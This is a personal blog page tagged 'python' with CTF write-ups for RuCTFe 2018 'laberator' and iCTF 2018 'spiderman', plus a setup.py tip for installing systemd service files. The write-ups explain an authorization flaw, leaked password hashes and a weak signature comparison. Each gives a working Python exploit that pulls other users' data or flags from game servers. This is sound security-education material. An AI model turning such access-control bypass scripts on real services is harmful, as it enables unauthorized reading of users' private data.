Christoph's last Weblog entries

Entries tagged "python".

RuCTFe 2018 laberator
11th November 2018

Team: FAUST
Crew: izibi, siccegge
CTF: RuCTFe 2018

The service

Webservice written in go. Has some pretty standard functionality (register, login, store a string) with the logic somewhat dispersed between the main webserver in main.go, some stuff in the templates and the websockets endpoint in command_executor.go. Obviously you have to extract the strings ("labels") from the gameserver. Also the phrase stored when creating the account was used to store some more flags.

Client side authentication for labels

Gem from the viewLabel javascript function. For some reason the label's owner is checked client-side after the data was already returned to the client.


            let label = JSON.parse(e.data);
            if (label.Owner !== getLoginFromCookies()) {
                return;
            }

And indeed, the websocket view method checks for some valid session but doesn't concern itself with any further validation of access priviledges. As long as you have any valid session and can figure out websockets you can get about any label you like.


        "view": func(ex *CommandExecutor, data []byte) ([]byte, error) {
                var viewData ViewData
                err := json.Unmarshal(data, &viewData)
                if err != nil {
                        return nil, createUnmarshallingError(err, data)
                }
                cookies := parseCookies(viewData.RawCookies)
                ok, _ := ex.sm.ValidateSession(cookies)
                if !ok {
                        return nil, errors.New("invalid session")
                }
                label, err := ex.dbApi.ViewLabel(viewData.LabelId)
                if err != nil {
                        return nil, errors.New(fmt.Sprintf("db request error: %v, labelId=(%v)", err.Error(), viewData.LabelId))
                }
                rawLabel, err := json.Marshal(*label)
                if err != nil {
                        return nil, errors.New(fmt.Sprintf("marshalling error: %v, label=(%v)", err.Error(), *label))
                }
                return rawLabel, nil
        },

Putting things together. The exploit builds an fresh account. It generates some label (to figure out the ID if the most recent labels) and then bulk loads the last 100 labels

#!/usr/bin/env python3

import requests
import websocket
import json
import sys
import string
import random
import base64


def main():
    host = sys.argv[1]
    session = requests.session()

    password = [i for i in string.ascii_letters]
    random.shuffle(password)

    username = ''.join(password[:10])
    phrase = base64.b64encode((''.join(password[10:20])).encode()).decode()
    password = base64.b64encode((''.join(password[20:36])).encode()).decode()


    x = session.get('http://%s:8888/register?login=%s&phrase=%s&password=%s' %   
                    (host,username,phrase,password))
    x = session.get('http://%s:8888/login?login=%s&password=%s' % 
                    (host,username, password))
    raw_cookie = 'login=%s;sid=%s' % (x.cookies['login'], x.cookies['sid'])

    ws = websocket.create_connection('ws://%s:8888/cmdexec' % (host,))

    data = {'Text': 'test', 'Font': 'Arial', 'Size': 20, 'RawCookies': raw_cookie}
    ws.send(json.dumps({"Command": "create", "Data": json.dumps(data)}))
    # make sure create is already commited before continuing
    ws.recv()

    data = {'Offset': 0, 'RawCookies': raw_cookie}
    ws.send(json.dumps({"Command": "list", "Data": json.dumps(data)}))
    stuff = json.loads(ws.recv())
    lastid = stuff[0]['ID']

    for i in range(0 if lastid-100 < 0 else lastid-100, lastid):
        ws = websocket.create_connection('ws://%s:8888/cmdexec' % (host,))
        try:
            data = {'LabelId': i, 'RawCookies': raw_cookie}
            ws.send(json.dumps({"Command": "view", "Data": json.dumps(data)}))
            print(json.loads(ws.recv())["Text"])
        except Exception:
            pass


if __name__ == '__main__':
    main()

Password Hash

The hash module used is obviously suspect. consists of a binary and a wrapper, freshly uploaded to github just the day before. Also if you create a test account with an short password (say, test) you end up with an hash that contains the password in plain (say, testTi\x02mH\x91\x96U\\I\x8a\xdd). Looking closer, if you register with a password that is exactly 16 characters (aaaaaaaaaaaaaaaa) you end up with an 16 character hash that is identical. This also means the password hash is a valid password for the account.

Listening to tcpdump for a while you'll notice interesting entries:

[{"ID":2,"Login":"test","PasswordHash":"dGVzdFRpAm1IkZZVXEmK3Q==","Phrase":{"ID":0,"Value":""}}]

See the password hash there? Turns out this comes from the regularly scheduled last_users websocket call.


        "last_users":  func(ex *CommandExecutor, _ []byte) ([]byte, error) {
                users := ex.dbApi.GetLastUsers()
                rawUsers, err := json.Marshal(*users)
                if err != nil {
                        return nil, errors.New(fmt.Sprintf("marshalling error: %v, users=(%v)", err.Error(), *users))
                }
                return rawUsers, nil
        },

So call last_users (doesn't even need a session), for all the last 20 users log in and just load all the labels. Good thing passwords are transfered base64 encoded, so no worrying about non-printable characters in the password hash.

Additionally sessions were generated with the broken hash implementation. This probably would have allowed to compute session ids.

Tags: ctf, faust, golang, python, ructfe, security, writeup.
iCTF 2018 Spiderman writeup
22nd March 2018

This is FAUST playing CTF again, this time iCTF. We somehow managed to score an amazing 5th place.

Team: FAUST
Crew: izibi, siccegge
Files: spiderman

spider is a patched python interpreter. man is a pyc but with different magic values (explaining the patched python interpreter for now). Plain decompiling failes due to some (dead) cruft code at the beginning of all methods. can be patched away or you do more manual disassembling.

Observations:

Fine so far nothing obvious to break. When interacting with the service, you will likely notice the Almost Equal function in the Fun menu. According to the bytecode, it takes two integers \(a\) and \(b\) and outputs if \(a = b \pm 1\), but looking at the gameserver traffic, these two numbers are also considered to be almost equal:

$$ a = 33086666666199589932529891 \\ b = 35657862677651939357901381 $$

So something's strange here. Starting the spider binary gives a python shell where you can play around with these numbers and you will find that a == b - 1 will actually result in True. So there is something wrong with the == operator in the shipped python interpreter, however it doesn't seem to be any sort of overflow. Bit representation also doesn't give anything obvious. Luky guess: why the strange public exponent? let's try the usual here. and indeed \(a = b - 1 \pmod{2^{16}+1}\). Given this is also used to compare the signature on the challenge this becomes easily bruteforceable.

#!/usr/bin/env python3

import nclib, sys
from random import getrandbits

e = 2**16+3 # exponent
w = 2**16+1 # wtf

nc = nclib.Netcat((sys.argv[1], 20005), udp=False, verbose=True)
nc.recv_until(b'4) Exit\n')
nc.send(b'3\n') # Read

nc.recv_until(b'What do you want to read?\n')
nc.send(sys.argv[2].encode() + b'\n')

nc.recv_until(b'solve this:\n')
modulus, challenge = map(int, nc.recv_until(b'\n').decode().split()[:2])
challenge %= w

# Starting at 0 would also work, but using large random numbers makes
# it less obvious that we only bruteforce a small set of numbers
answer = getrandbits(2000)
while (pow(answer, e, modulus)) % w != challenge:
    answer += 1

nc.send(str(answer).encode() + b'\n')
flag = nc.recv_until(b'\n')

nc.recv_until(b'4) Exit\n')
nc.send(b'4\n')
Tags: crypto, ctf, faust, ictf, python, security, writeup.
Installing a python systemd service?
26th October 2016

As web search engines and IRC seems to be of no help, maybe someone here has a helpful idea. I have some service written in python that comes with a .service file for systemd. I now want to build&install a working service file from the software's setup.py. I can override the build/build_py commands of setuptools, however that way I still lack knowledge wrt. the bindir/prefix where my service script will be installed.

Solution

Turns out, if you override the install command (not the install_data!), you will have self.root and self.install_scripts (and lots of other self.install_*). As a result, you can read the template and write the desired output file after calling super's run method. The fix was inspired by GateOne (which, however doesn't get the --root parameter right, you need to strip self.root from the beginning of the path to actually make that work as intended).

As suggested on IRC, the snippet (and my software) no use pkg-config to get at the systemd path as well. This is a nice improvement orthogonal to the original problem. The implementation here follows bley.


def systemd_unit_path():
    try:
        command = ["pkg-config", "--variable=systemdsystemunitdir", "systemd"]
        path = subprocess.check_output(command, stderr=subprocess.STDOUT)
        return path.decode().replace('\n', '')
    except (subprocess.CalledProcessError, OSError):
        return "/lib/systemd/system"


class my_install(install):
    _servicefiles = [
        'foo/bar.service',
        ]

    def run(self):
        install.run(self)

        if not self.dry_run:
            bindir = self.install_scripts
            if bindir.startswith(self.root):
                bindir = bindir[len(self.root):]

            systemddir = "%s%s" % (self.root, systemd_unit_path())

            for servicefile in self._servicefiles:
                service = os.path.split(servicefile)[1]
                self.announce("Creating %s" % os.path.join(systemddir, service),
                              level=2)
                with open(servicefile) as servicefd:
                    servicedata = servicefd.read()

                with open(os.path.join(systemddir, service), "w") as servicefd:
                    servicefd.write(servicedata.replace("%BINDIR%", bindir))

Comments, suggestions and improvements, of course, welcome!

Tags: python.

RSS Feed

Created by Chronicle v4.6